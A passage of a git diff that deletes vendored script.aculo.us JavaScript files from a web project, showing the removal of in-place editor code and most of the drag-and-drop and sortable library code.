-        if (!/^\[.*\]$/.test(js)) // TODO: improve sanity check
-          throw('Server returned an invalid collection representation.');
-        this._collection = eval(js);
-        this.checkForExternalText();
-      }.bind(this),
-      onFailure: this.onFailure
-    });
-    new Ajax.Request(this.options.loadCollectionURL, options);
-  },
-
-  showLoadingText: function(text) {
-    this._controls.editor.disabled = true;
-    var tempOption = this._controls.editor.firstChild;
-    if (!tempOption) {
-      tempOption = document.createElement('option');
-      tempOption.value = '';
-      this._controls.editor.appendChild(tempOption);
-      tempOption.selected = true;
-    }
-    tempOption.update((text || '').stripScripts().stripTags());
-  },
-
-  checkForExternalText: function() {
-    this._text = this.getText();
-    if (this.options.loadTextURL)
-      this.loadExternalText();
-    else
-      this.buildOptionList();
-  },
-
-  loadExternalText: function() {
-    this.showLoadingText(this.options.loadingText);
-    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
-    Object.extend(options, {
-      parameters: 'editorId=' + encodeURIComponent(this.element.id),
-      onComplete: Prototype.emptyFunction,
-      onSuccess: function(transport) {
-        this._text = transport.responseText.strip();
-        this.buildOptionList();
-      }.bind(this),
-      onFailure: this.onFailure
-    });
-    new Ajax.Request(this.options.loadTextURL, options);
-  },
-
-  buildOptionList: function() {
-    this._form.removeClassName(this.options.loadingClassName);
-    this._collection = this._collection.map(function(entry) {
-      return 2 === entry.length ? entry : [entry, entry].flatten();
-    });
-    var marker = ('value' in this.options) ? this.options.value : this._text;
-    var textFound = this._collection.any(function(entry) {
-      return entry[0] == marker;
-    }.bind(this));
-    this._controls.editor.update('');
-    var option;
-    this._collection.each(function(entry, index) {
-      option = document.createElement('option');
-      option.value = entry[0];
-      option.selected = textFound ? entry[0] == marker : 0 == index;
-      option.appendChild(document.createTextNode(entry[1]));
-      this._controls.editor.appendChild(option);
-    }.bind(this));
-    this._controls.editor.disabled = false;
-    Field.scrollFreeActivate(this._controls.editor);
-  }
-});
-
-//**** DEPRECATION LAYER FOR InPlace[Collection]Editor! ****
-//**** This only  exists for a while,  in order to  let ****
-//**** users adapt to  the new API.  Read up on the new ****
-//**** API and convert your code to it ASAP!            ****
-
-Ajax.InPlaceEditor.prototype.initialize.dealWithDeprecatedOptions = function(options) {
-  if (!options) return;
-  function fallback(name, expr) {
-    if (name in options || expr === undefined) return;
-    options[name] = expr;
-  };
-  fallback('cancelControl', (options.cancelLink ? 'link' : (options.cancelButton ? 'button' :
-    options.cancelLink == options.cancelButton == false ? false : undefined)));
-  fallback('okControl', (options.okLink ? 'link' : (options.okButton ? 'button' :
-    options.okLink == options.okButton == false ? false : undefined)));
-  fallback('highlightColor', options.highlightcolor);
-  fallback('highlightEndColor', options.highlightendcolor);
-};
-
-Object.extend(Ajax.InPlaceEditor, {
-  DefaultOptions: {
-    ajaxOptions: { },
-    autoRows: 3,                                // Use when multi-line w/ rows == 1
-    cancelControl: 'link',                      // 'link'|'button'|false
-    cancelText: 'cancel',
-    clickToEditText: 'Click to edit',
-    externalControl: null,                      // id|elt
-    externalControlOnly: false,
-    fieldPostCreation: 'activate',              // 'activate'|'focus'|false
-    formClassName: 'inplaceeditor-form',
-    formId: null,                               // id|elt
-    highlightColor: '#ffff99',
-    highlightEndColor: '#ffffff',
-    hoverClassName: '',
-    htmlResponse: true,
-    loadingClassName: 'inplaceeditor-loading',
-    loadingText: 'Loading...',
-    okControl: 'button',                        // 'link'|'button'|false
-    okText: 'ok',
-    paramName: 'value',
-    rows: 1,                                    // If 1 and multi-line, uses autoRows
-    savingClassName: 'inplaceeditor-saving',
-    savingText: 'Saving...',
-    size: 0,
-    stripLoadedTextTags: false,
-    submitOnBlur: false,
-    textAfterControls: '',
-    textBeforeControls: '',
-    textBetweenControls: ''
-  },
-  DefaultCallbacks: {
-    callback: function(form) {
-      return Form.serialize(form);
-    },
-    onComplete: function(transport, element) {
-      // For backward compatibility, this one is bound to the IPE, and passes
-      // the element directly.  It was too often customized, so we don't break it.
-      new Effect.Highlight(element, {
-        startcolor: this.options.highlightColor, keepBackgroundImage: true });
-    },
-    onEnterEditMode: null,
-    onEnterHover: function(ipe) {
-      ipe.element.style.backgroundColor = ipe.options.highlightColor;
-      if (ipe._effect)
-        ipe._effect.cancel();
-    },
-    onFailure: function(transport, ipe) {
-      alert('Error communication with the server: ' + transport.responseText.stripTags());
-    },
-    onFormCustomization: null, // Takes the IPE and its generated form, after editor, before controls.
-    onLeaveEditMode: null,
-    onLeaveHover: function(ipe) {
-      ipe._effect = new Effect.Highlight(ipe.element, {
-        startcolor: ipe.options.highlightColor, endcolor: ipe.options.highlightEndColor,
-        restorecolor: ipe._originalBackground, keepBackgroundImage: true
-      });
-    }
-  },
-  Listeners: {
-    click: 'enterEditMode',
-    keydown: 'checkForEscapeOrReturn',
-    mouseover: 'enterHover',
-    mouseout: 'leaveHover'
-  }
-});
-
-Ajax.InPlaceCollectionEditor.DefaultOptions = {
-  loadingCollectionText: 'Loading options...'
-};
-
-// Delayed observer, like Form.Element.Observer,
-// but waits for delay after last key input
-// Ideal for live-search fields
-
-Form.Element.DelayedObserver = Class.create({
-  initialize: function(element, delay, callback) {
-    this.delay     = delay || 0.5;
-    this.element   = $(element);
-    this.callback  = callback;
-    this.timer     = null;
-    this.lastValue = $F(this.element);
-    Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this));
-  },
-  delayedListener: function(event) {
-    if(this.lastValue == $F(this.element)) return;
-    if(this.timer) clearTimeout(this.timer);
-    this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000);
-    this.lastValue = $F(this.element);
-  },
-  onTimerEvent: function() {
-    this.timer = null;
-    this.callback(this.element, $F(this.element));
-  }
-});
\ No newline at end of file
diff --git a/public/javascripts/dragdrop.js b/public/javascripts/dragdrop.js
deleted file mode 100644
index 15c6dbca..00000000
--- a/public/javascripts/dragdrop.js
+++ /dev/null
@@ -1,974 +0,0 @@
-// script.aculo.us dragdrop.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
-
-// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
-//
-// script.aculo.us is freely distributable under the terms of an MIT-style license.
-// For details, see the script.aculo.us web site: http://script.aculo.us/
-
-if(Object.isUndefined(Effect))
-  throw("dragdrop.js requires including script.aculo.us' effects.js library");
-
-var Droppables = {
-  drops: [],
-
-  remove: function(element) {
-    this.drops = this.drops.reject(function(d) { return d.element==$(element) });
-  },
-
-  add: function(element) {
-    element = $(element);
-    var options = Object.extend({
-      greedy:     true,
-      hoverclass: null,
-      tree:       false
-    }, arguments[1] || { });
-
-    // cache containers
-    if(options.containment) {
-      options._containers = [];
-      var containment = options.containment;
-      if(Object.isArray(containment)) {
-        containment.each( function(c) { options._containers.push($(c)) });
-      } else {
-        options._containers.push($(containment));
-      }
-    }
-
-    if(options.accept) options.accept = [options.accept].flatten();
-
-    Element.makePositioned(element); // fix IE
-    options.element = element;
-
-    this.drops.push(options);
-  },
-
-  findDeepestChild: function(drops) {
-    deepest = drops[0];
-
-    for (i = 1; i < drops.length; ++i)
-      if (Element.isParent(drops[i].element, deepest.element))
-        deepest = drops[i];
-
-    return deepest;
-  },
-
-  isContained: function(element, drop) {
-    var containmentNode;
-    if(drop.tree) {
-      containmentNode = element.treeNode;
-    } else {
-      containmentNode = element.parentNode;
-    }
-    return drop._containers.detect(function(c) { return containmentNode == c });
-  },
-
-  isAffected: function(point, element, drop) {
-    return (
-      (drop.element!=element) &&
-      ((!drop._containers) ||
-        this.isContained(element, drop)) &&
-      ((!drop.accept) ||
-        (Element.classNames(element).detect(
-          function(v) { return drop.accept.include(v) } ) )) &&
-      Position.within(drop.element, point[0], point[1]) );
-  },
-
-  deactivate: function(drop) {
-    if(drop.hoverclass)
-      Element.removeClassName(drop.element, drop.hoverclass);
-    this.last_active = null;
-  },
-
-  activate: function(drop) {
-    if(drop.hoverclass)
-      Element.addClassName(drop.element, drop.hoverclass);
-    this.last_active = drop;
-  },
-
-  show: function(point, element) {
-    if(!this.drops.length) return;
-    var drop, affected = [];
-
-    this.drops.each( function(drop) {
-      if(Droppables.isAffected(point, element, drop))
-        affected.push(drop);
-    });
-
-    if(affected.length>0)
-      drop = Droppables.findDeepestChild(affected);
-
-    if(this.last_active && this.last_active != drop) this.deactivate(this.last_active);
-    if (drop) {
-      Position.within(drop.element, point[0], point[1]);
-      if(drop.onHover)
-        drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element));
-
-      if (drop != this.last_active) Droppables.activate(drop);
-    }
-  },
-
-  fire: function(event, element) {
-    if(!this.last_active) return;
-    Position.prepare();
-
-    if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active))
-      if (this.last_active.onDrop) {
-        this.last_active.onDrop(element, this.last_active.element, event);
-        return true;
-      }
-  },
-
-  reset: function() {
-    if(this.last_active)
-      this.deactivate(this.last_active);
-  }
-};
-
-var Draggables = {
-  drags: [],
-  observers: [],
-
-  register: function(draggable) {
-    if(this.drags.length == 0) {
-      this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
-      this.eventMouseMove = this.updateDrag.bindAsEventListener(this);
-      this.eventKeypress  = this.keyPress.bindAsEventListener(this);
-
-      Event.observe(document, "mouseup", this.eventMouseUp);
-      Event.observe(document, "mousemove", this.eventMouseMove);
-      Event.observe(document, "keypress", this.eventKeypress);
-    }
-    this.drags.push(draggable);
-  },
-
-  unregister: function(draggable) {
-    this.drags = this.drags.reject(function(d) { return d==draggable });
-    if(this.drags.length == 0) {
-      Event.stopObserving(document, "mouseup", this.eventMouseUp);
-      Event.stopObserving(document, "mousemove", this.eventMouseMove);
-      Event.stopObserving(document, "keypress", this.eventKeypress);
-    }
-  },
-
-  activate: function(draggable) {
-    if(draggable.options.delay) {
-      this._timeout = setTimeout(function() {
-        Draggables._timeout = null;
-        window.focus();
-        Draggables.activeDraggable = draggable;
-      }.bind(this), draggable.options.delay);
-    } else {
-      window.focus(); // allows keypress events if window isn't currently focused, fails for Safari
-      this.activeDraggable = draggable;
-    }
-  },
-
-  deactivate: function() {
-    this.activeDraggable = null;
-  },
-
-  updateDrag: function(event) {
-    if(!this.activeDraggable) return;
-    var pointer = [Event.pointerX(event), Event.pointerY(event)];
-    // Mozilla-based browsers fire successive mousemove events with
-    // the same coordinates, prevent needless redrawing (moz bug?)
-    if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return;
-    this._lastPointer = pointer;
-
-    this.activeDraggable.updateDrag(event, pointer);
-  },
-
-  endDrag: function(event) {
-    if(this._timeout) {
-      clearTimeout(this._timeout);
-      this._timeout = null;
-    }
-    if(!this.activeDraggable) return;
-    this._lastPointer = null;
-    this.activeDraggable.endDrag(event);
-    this.activeDraggable = null;
-  },
-
-  keyPress: function(event) {
-    if(this.activeDraggable)
-      this.activeDraggable.keyPress(event);
-  },
-
-  addObserver: function(observer) {
-    this.observers.push(observer);
-    this._cacheObserverCallbacks();
-  },
-
-  removeObserver: function(element) {  // element instead of observer fixes mem leaks
-    this.observers = this.observers.reject( function(o) { return o.element==element });
-    this._cacheObserverCallbacks();
-  },
-
-  notify: function(eventName, draggable, event) {  // 'onStart', 'onEnd', 'onDrag'
-    if(this[eventName+'Count'] > 0)
-      this.observers.each( function(o) {
-        if(o[eventName]) o[eventName](eventName, draggable, event);
-      });
-    if(draggable.options[eventName]) draggable.options[eventName](draggable, event);
-  },
-
-  _cacheObserverCallbacks: function() {
-    ['onStart','onEnd','onDrag'].each( function(eventName) {
-      Draggables[eventName+'Count'] = Draggables.observers.select(
-        function(o) { return o[eventName]; }
-      ).length;
-    });
-  }
-};
-
-/*--------------------------------------------------------------------------*/
-
-var Draggable = Class.create({
-  initialize: function(element) {
-    var defaults = {
-      handle: false,
-      reverteffect: function(element, top_offset, left_offset) {
-        var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02;
-        new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur,
-          queue: {scope:'_draggable', position:'end'}
-        });
-      },
-      endeffect: function(element) {
-        var toOpacity = Object.isNumber(element._opacity) ? element._opacity : 1.0;
-        new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity,
-          queue: {scope:'_draggable', position:'end'},
-          afterFinish: function(){
-            Draggable._dragging[element] = false
-          }
-        });
-      },
-      zindex: 1000,
-      revert: false,
-      quiet: false,
-      scroll: false,
-      scrollSensitivity: 20,
-      scrollSpeed: 15,
-      snap: false,  // false, or xy or [x,y] or function(x,y){ return [x,y] }
-      delay: 0
-    };
-
-    if(!arguments[1] || Object.isUndefined(arguments[1].endeffect))
-      Object.extend(defaults, {
-        starteffect: function(element) {
-          element._opacity = Element.getOpacity(element);
-          Draggable._dragging[element] = true;
-          new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7});
-        }
-      });
-
-    var options = Object.extend(defaults, arguments[1] || { });
-
-    this.element = $(element);
-
-    if(options.handle && Object.isString(options.handle))
-      this.handle = this.element.down('.'+options.handle, 0);
-
-    if(!this.handle) this.handle = $(options.handle);
-    if(!this.handle) this.handle = this.element;
-
-    if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) {
-      options.scroll = $(options.scroll);
-      this._isScrollChild = Element.childOf(this.element, options.scroll);
-    }
-
-    Element.makePositioned(this.element); // fix IE
-
-    this.options  = options;
-    this.dragging = false;
-
-    this.eventMouseDown = this.initDrag.bindAsEventListener(this);
-    Event.observe(this.handle, "mousedown", this.eventMouseDown);
-
-    Draggables.register(this);
-  },
-
-  destroy: function() {
-    Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
-    Draggables.unregister(this);
-  },
-
-  currentDelta: function() {
-    return([
-      parseInt(Element.getStyle(this.element,'left') || '0'),
-      parseInt(Element.getStyle(this.element,'top') || '0')]);
-  },
-
-  initDrag: function(event) {
-    if(!Object.isUndefined(Draggable._dragging[this.element]) &&
-      Draggable._dragging[this.element]) return;
-    if(Event.isLeftClick(event)) {
-      // abort on form elements, fixes a Firefox issue
-      var src = Event.element(event);
-      if((tag_name = src.tagName.toUpperCase()) && (
-        tag_name=='INPUT' ||
-        tag_name=='SELECT' ||
-        tag_name=='OPTION' ||
-        tag_name=='BUTTON' ||
-        tag_name=='TEXTAREA')) return;
-
-      var pointer = [Event.pointerX(event), Event.pointerY(event)];
-      var pos     = this.element.cumulativeOffset();
-      this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) });
-
-      Draggables.activate(this);
-      Event.stop(event);
-    }
-  },
-
-  startDrag: function(event) {
-    this.dragging = true;
-    if(!this.delta)
-      this.delta = this.currentDelta();
-
-    if(this.options.zindex) {
-      this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0);
-      this.element.style.zIndex = this.options.zindex;
-    }
-
-    if(this.options.ghosting) {
-      this._clone = this.element.cloneNode(true);
-      this._originallyAbsolute = (this.element.getStyle('position') == 'absolute');
-      if (!this._originallyAbsolute)
-        Position.absolutize(this.element);
-      this.element.parentNode.insertBefore(this._clone, this.element);
-    }
-
-    if(this.options.scroll) {
-      if (this.options.scroll == window) {
-        var where = this._getWindowScroll(this.options.scroll);
-        this.originalScrollLeft = where.left;
-        this.originalScrollTop = where.top;
-      } else {
-        this.originalScrollLeft = this.options.scroll.scrollLeft;
-        this.originalScrollTop = this.options.scroll.scrollTop;
-      }
-    }
-
-    Draggables.notify('onStart', this, event);
-
-    if(this.options.starteffect) this.options.starteffect(this.element);
-  },
-
-  updateDrag: function(event, pointer) {
-    if(!this.dragging) this.startDrag(event);
-
-    if(!this.options.quiet){
-      Position.prepare();
-      Droppables.show(pointer, this.element);
-    }
-
-    Draggables.notify('onDrag', this, event);
-
-    this.draw(pointer);
-    if(this.options.change) this.options.change(this);
-
-    if(this.options.scroll) {
-      this.stopScrolling();
-
-      var p;
-      if (this.options.scroll == window) {
-        with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; }
-      } else {
-        p = Position.page(this.options.scroll);
-        p[0] += this.options.scroll.scrollLeft + Position.deltaX;
-        p[1] += this.options.scroll.scrollTop + Position.deltaY;
-        p.push(p[0]+this.options.scroll.offsetWidth);
-        p.push(p[1]+this.options.scroll.offsetHeight);
-      }
-      var speed = [0,0];
-      if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity);
-      if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity);
-      if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity);
-      if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity);
-      this.startScrolling(speed);
-    }
-
-    // fix AppleWebKit rendering
-    if(Prototype.Browser.WebKit) window.scrollBy(0,0);
-
-    Event.stop(event);
-  },
-
-  finishDrag: function(event, success) {
-    this.dragging = false;
-
-    if(this.options.quiet){
-      Position.prepare();
-      var pointer = [Event.pointerX(event), Event.pointerY(event)];
-      Droppables.show(pointer, this.element);
-    }
-
-    if(this.options.ghosting) {
-      if (!this._originallyAbsolute)
-        Position.relativize(this.element);
-      delete this._originallyAbsolute;
-      Element.remove(this._clone);
-      this._clone = null;
-    }
-
-    var dropped = false;
-    if(success) {
-      dropped = Droppables.fire(event, this.element);
-      if (!dropped) dropped = false;
-    }
-    if(dropped && this.options.onDropped) this.options.onDropped(this.element);
-    Draggables.notify('onEnd', this, event);
-
-    var revert = this.options.revert;
-    if(revert && Object.isFunction(revert)) revert = revert(this.element);
-
-    var d = this.currentDelta();
-    if(revert && this.options.reverteffect) {
-      if (dropped == 0 || revert != 'failure')
-        this.options.reverteffect(this.element,
-          d[1]-this.delta[1], d[0]-this.delta[0]);
-    } else {
-      this.delta = d;
-    }
-
-    if(this.options.zindex)
-      this.element.style.zIndex = this.originalZ;
-
-    if(this.options.endeffect)
-      this.options.endeffect(this.element);
-
-    Draggables.deactivate(this);
-    Droppables.reset();
-  },
-
-  keyPress: function(event) {
-    if(event.keyCode!=Event.KEY_ESC) return;
-    this.finishDrag(event, false);
-    Event.stop(event);
-  },
-
-  endDrag: function(event) {
-    if(!this.dragging) return;
-    this.stopScrolling();
-    this.finishDrag(event, true);
-    Event.stop(event);
-  },
-
-  draw: function(point) {
-    var pos = this.element.cumulativeOffset();
-    if(this.options.ghosting) {
-      var r   = Position.realOffset(this.element);
-      pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY;
-    }
-
-    var d = this.currentDelta();
-    pos[0] -= d[0]; pos[1] -= d[1];
-
-    if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) {
-      pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft;
-      pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop;
-    }
-
-    var p = [0,1].map(function(i){
-      return (point[i]-pos[i]-this.offset[i])
-    }.bind(this));
-
-    if(this.options.snap) {
-      if(Object.isFunction(this.options.snap)) {
-        p = this.options.snap(p[0],p[1],this);
-      } else {
-      if(Object.isArray(this.options.snap)) {
-        p = p.map( function(v, i) {
-          return (v/this.options.snap[i]).round()*this.options.snap[i] }.bind(this));
-      } else {
-        p = p.map( function(v) {
-          return (v/this.options.snap).round()*this.options.snap }.bind(this));
-      }
-    }}
-
-    var style = this.element.style;
-    if((!this.options.constraint) || (this.options.constraint=='horizontal'))
-      style.left = p[0] + "px";
-    if((!this.options.constraint) || (this.options.constraint=='vertical'))
-      style.top  = p[1] + "px";
-
-    if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering
-  },
-
-  stopScrolling: function() {
-    if(this.scrollInterval) {
-      clearInterval(this.scrollInterval);
-      this.scrollInterval = null;
-      Draggables._lastScrollPointer = null;
-    }
-  },
-
-  startScrolling: function(speed) {
-    if(!(speed[0] || speed[1])) return;
-    this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed];
-    this.lastScrolled = new Date();
-    this.scrollInterval = setInterval(this.scroll.bind(this), 10);
-  },
-
-  scroll: function() {
-    var current = new Date();
-    var delta = current - this.lastScrolled;
-    this.lastScrolled = current;
-    if(this.options.scroll == window) {
-      with (this._getWindowScroll(this.options.scroll)) {
-        if (this.scrollSpeed[0] || this.scrollSpeed[1]) {
-          var d = delta / 1000;
-          this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] );
-        }
-      }
-    } else {
-      this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000;
-      this.options.scroll.scrollTop  += this.scrollSpeed[1] * delta / 1000;
-    }
-
-    Position.prepare();
-    Droppables.show(Draggables._lastPointer, this.element);
-    Draggables.notify('onDrag', this);
-    if (this._isScrollChild) {
-      Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer);
-      Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000;
-      Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000;
-      if (Draggables._lastScrollPointer[0] < 0)
-        Draggables._lastScrollPointer[0] = 0;
-      if (Draggables._lastScrollPointer[1] < 0)
-        Draggables._lastScrollPointer[1] = 0;
-      this.draw(Draggables._lastScrollPointer);
-    }
-
-    if(this.options.change) this.options.change(this);
-  },
-
-  _getWindowScroll: function(w) {
-    var T, L, W, H;
-    with (w.document) {
-      if (w.document.documentElement && documentElement.scrollTop) {
-        T = documentElement.scrollTop;
-        L = documentElement.scrollLeft;
-      } else if (w.document.body) {
-        T = body.scrollTop;
-        L = body.scrollLeft;
-      }
-      if (w.innerWidth) {
-        W = w.innerWidth;
-        H = w.innerHeight;
-      } else if (w.document.documentElement && documentElement.clientWidth) {
-        W = documentElement.clientWidth;
-        H = documentElement.clientHeight;
-      } else {
-        W = body.offsetWidth;
-        H = body.offsetHeight;
-      }
-    }
-    return { top: T, left: L, width: W, height: H };
-  }
-});
-
-Draggable._dragging = { };
-
-/*--------------------------------------------------------------------------*/
-
-var SortableObserver = Class.create({
-  initialize: function(element, observer) {
-    this.element   = $(element);
-    this.observer  = observer;
-    this.lastValue = Sortable.serialize(this.element);
-  },
-
-  onStart: function() {
-    this.lastValue = Sortable.serialize(this.element);
-  },
-
-  onEnd: function() {
-    Sortable.unmark();
-    if(this.lastValue != Sortable.serialize(this.element))
-      this.observer(this.element)
-  }
-});
-
-var Sortable = {
-  SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/,
-
-  sortables: { },
-
-  _findRootElement: function(element) {
-    while (element.tagName.toUpperCase() != "BODY") {
-      if(element.id && Sortable.sortables[element.id]) return element;
-      element = element.parentNode;
-    }
-  },
-
-  options: function(element) {
-    element = Sortable._findRootElement($(element));
-    if(!element) return;
-    return Sortable.sortables[element.id];
-  },
-
-  destroy: function(element){
-    element = $(element);
-    var s = Sortable.sortables[element.id];
-
-    if(s) {
-      Draggables.removeObserver(s.element);
-      s.droppables.each(function(d){ Droppables.remove(d) });
-      s.draggables.invoke('destroy');
-
-      delete Sortable.sortables[s.element.id];
-    }
-  },
-
-  create: function(element) {
-    element = $(element);
-    var options = Object.extend({
-      element:     element,
-      tag:         'li',       // assumes li children, override with tag: 'tagname'
-      dropOnEmpty: false,
-      tree:        false,
-      treeTag:     'ul',
-      overlap:     'vertical', // one of 'vertical', 'horizontal'
-      constraint:  'vertical', // one of 'vertical', 'horizontal', false
-      containment: element,    // also takes array of elements (or id's); or false
-      handle:      false,      // or a CSS class
-      only:        false,
-      delay:       0,
-      hoverclass:  null,
-      ghosting:    false,
-      quiet:       false,
-      scroll:      false,
-      scrollSensitivity: 20,
-      scrollSpeed: 15,
-      format:      this.SERIALIZE_RULE,
-
-      // these take arrays of elements or ids and can be
-      // used for better initialization performance
-      elements:    false,
-      handles:     false,
-
-      onChange:    Prototype.emptyFunction,
-      onUpdate:    Prototype.emptyFunction
-    }, arguments[1] || { });
-
-    // clear any old sortable with same element
-    this.destroy(element);
-
-    // build options for the draggables
-    var options_for_draggable = {
-      revert:      true,
-      quiet:       options.quiet,
-      scroll:      options.scroll,
-      scrollSpeed: options.scrollSpeed,
-      scrollSensitivity: options.scrollSensitivity,
-      delay:       options.delay,
-      ghosting:    options.ghosting,
-      constraint:  options.constraint,
-      handle:      options.handle };
-
-    if(options.starteffect)
-      options_for_draggable.starteffect = options.starteffect;
-
-    if(options.reverteffect)
-      options_for_draggable.reverteffect = options.reverteffect;
-    else
-      if(options.ghosting) options_for_draggable.reverteffect = function(element) {
-        element.style.top  = 0;
-        element.style.left = 0;
-      };
-
-    if(options.endeffect)
-      options_for_draggable.endeffect = options.endeffect;
-
-    if(options.zindex)
-      options_for_draggable.zindex = options.zindex;
-
-    // build options for the droppables
-    var options_for_droppable = {
-      overlap:     options.overlap,
-      containment: options.containment,
-      tree:        options.tree,
-      hoverclass:  options.hoverclass,
-      onHover:     Sortable.onHover
-    };
-
-    var options_for_tree = {
-      onHover:      Sortable.onEmptyHover,
-      overlap:      options.overlap,
-      containment:  options.containment,
-      hoverclass:   options.hoverclass
-    };
-
-    // fix for gecko engine
-    Element.cleanWhitespace(element);
-
-    options.draggables = [];
-    options.droppables = [];
-
-    // drop on empty handling
-    if(options.dropOnEmpty || options.tree) {
-      Droppables.add(element, options_for_tree);
-      options.droppables.push(element);
-    }
-
-    (options.elements || this.findElements(element, options) || []).each( function(e,i) {
-      var handle = options.handles ? $(options.handles[i]) :
-        (options.handle ? $(e).select('.' + options.handle)[0] : e);
-      options.draggables.push(
-        new Draggable(e, Object.extend(options_for_draggable, { handle: handle })));
-      Droppables.add(e, options_for_droppable);
-      if(options.tree) e.treeNode = element;
-      options.droppables.push(e);
-    });
-
-    if(options.tree) {
-      (Sortable.findTreeElements(element, options) || []).each( function(e) {
-        Droppables.add(e, options_for_tree);
-        e.treeNode = element;
-        options.droppables.push(e);
-      });
-    }
-
-    // keep reference
-    this.sortables[element.identify()] = options;
-
-    // for onupdate
-    Draggables.addObserver(new SortableObserver(element, options.onUpdate));
-
-  },
-
-  // return all suitable-for-sortable elements in a guaranteed order
-  findElements: function(element, options) {
-    return Element.findChildren(
-      element, options.only, options.tree ? true : false, options.tag);
-  },
-
-  findTreeElements: function(element, options) {
-    return Element.findChildren(
-      element, options.only, options.tree ? true : false, options.treeTag);
-  },
-
-  onHover: function(element, dropon, overlap) {
-    if(Element.isParent(dropon, element)) return;
-
-    if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) {
-      return;
-    } else if(overlap>0.5) {
-      Sortable.mark(dropon, 'before');
-      if(dropon.previousSibling != element) {
-        var oldParentNode = element.parentNode;
-        element.style.visibility = "hidden"; // fix gecko rendering
-        dropon.parentNode.insertBefore(element, dropon);
-        if(dropon.parentNode!=oldParentNode)
-          Sortable.options(oldParentNode).onChange(element);
-        Sortable.options(dropon.parentNode).onChange(element);
-      }
-    } else {
-      Sortable.mark(dropon, 'after');
-      var nextElement = dropon.nextSibling || null;
-      if(nextElement != element) {
-        var oldParentNode = element.parentNode;
-        element.style.visibility = "hidden"; // fix gecko rendering
-        dropon.parentNode.insertBefore(element, nextElement);
-        if(dropon.parentNode!=oldParentNode)
-          Sortable.options(oldParentNode).onChange(element);
-        Sortable.options(dropon.parentNode).onChange(element);
-      }
-    }
-  },
-
-  onEmptyHover: function(element, dropon, overlap) {
-    var oldParentNode = element.parentNode;
-    var droponOptions = Sortable.options(dropon);
-
-    if(!Element.isParent(dropon, element)) {
-      var index;
-
-      var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only});
-      var child = null;
-
-      if(children) {
-        var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap);
-
-        for (index = 0; index < children.length; index += 1) {
-          if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) {
-            offset -= Element.offsetSize (children[index], droponOptions.overlap);
-          } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) {
-            child = index + 1 < children.length ? children[index + 1] : null;
-            break;
-          } else {
-            child = children[index];
-            break;
-          }
-        }
-      }
-
-      dropon.insertBefore(element, child);
-
-      Sortable.options(oldParentNode).onChange(element);
-      droponOptions.onChange(element);
-    }
-  },
-
-  unmark: function() {
-    if(Sortable._marker) Sortable._marker.hide();
-  },
-
-  mark: function(dropon, position) {
-    // mark on ghosting only
-    var sortable = Sortable.options(dropon.parentNode);
-    if(sortable && !sortable.ghosting) return;
-
-    if(!Sortable._marker) {
-      Sortable._marker =
-        ($('dropmarker') || Element.extend(document.createElement('DIV'))).
-          hide().addClassName('dropmarker').setStyle({position:'absolute'});
-      document.getElementsByTagName("body").item(0).appendChild(Sortable._marker);
-    }
-    var offsets = dropon.cumulativeOffset();
-    Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'});
-
-    if(position=='after')
-      if(sortable.overlap == 'horizontal')
-        Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'});
-      else
-        Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'});
-
-    Sortable._marker.show();
-  },
-
-  _tree: function(element, options, parent) {
-    var children = Sortable.findElements(element, options) || [];
-
-    for (var i = 0; i < children.length; ++i) {
-      var match = children[i].id.match(options.format);
-
-      if (!match) continue;
-
-      var child = {
-        id: encodeURIComponent(match ? match[1] : null),
-        element: element,
-        parent: parent,
-        children: [],
-        position: parent.children.length,
-        container: $(children[i]).down(options.treeTag)
-      };
-
-      /* Get the element containing the children and recurse over it */
-      if (child.container)
-        this._tree(child.container, options, child);
-
-      parent.children.push (child);
-    }
-
-    return parent;
-  },
-
-  tree: function(element) {
-    element = $(element);
-    var sortableOptions = this.options(element);
